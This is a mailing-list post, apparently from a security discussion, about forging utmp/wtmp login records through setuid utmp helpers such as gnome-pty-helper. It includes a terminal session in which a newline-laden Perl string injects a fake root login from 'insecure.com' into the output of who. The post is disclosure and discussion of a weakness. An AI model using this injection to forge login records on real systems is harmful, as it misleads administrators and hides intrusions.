I have not yet found any uses for utmp/wtmp: maybe Joey is right and there is no security issue. I would then suggest that to increase security, setuid/setgid bits be removed from all utmp/wmtp maintainers.
In the meantime, I hope that conscientious sysadmins do look at who and last output occasionally; an expect that [EMAIL PROTECTED]:~$ exploit "$(perl -e 'print "XX)\nroot tty01 Jan 01 02:03 (insecure.com"')" & sleep 1; who; sleep 6 [1] 22149 Writing utmp (who) record ... utmp record will be cleaned up when we exit. To leave it behind, kill gnome-pty-helper: kill 22152 Sleeping for 5 secs... psz pts/2 Oct 12 12:16 (XX) root tty01 Jan 01 02:03 (insecure.com) psz pts/1 Oct 12 11:37 (y622.yt.maths.usyd.edu.au:0.0) [1]+ Done exploit "$(perl -e 'print "XX)\nroot tty01 Jan 01 02:03 (insecure.com"')" [EMAIL PROTECTED]:~$ should suitably freak them out. Cheers, Paul Szabo [EMAIL PROTECTED] http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]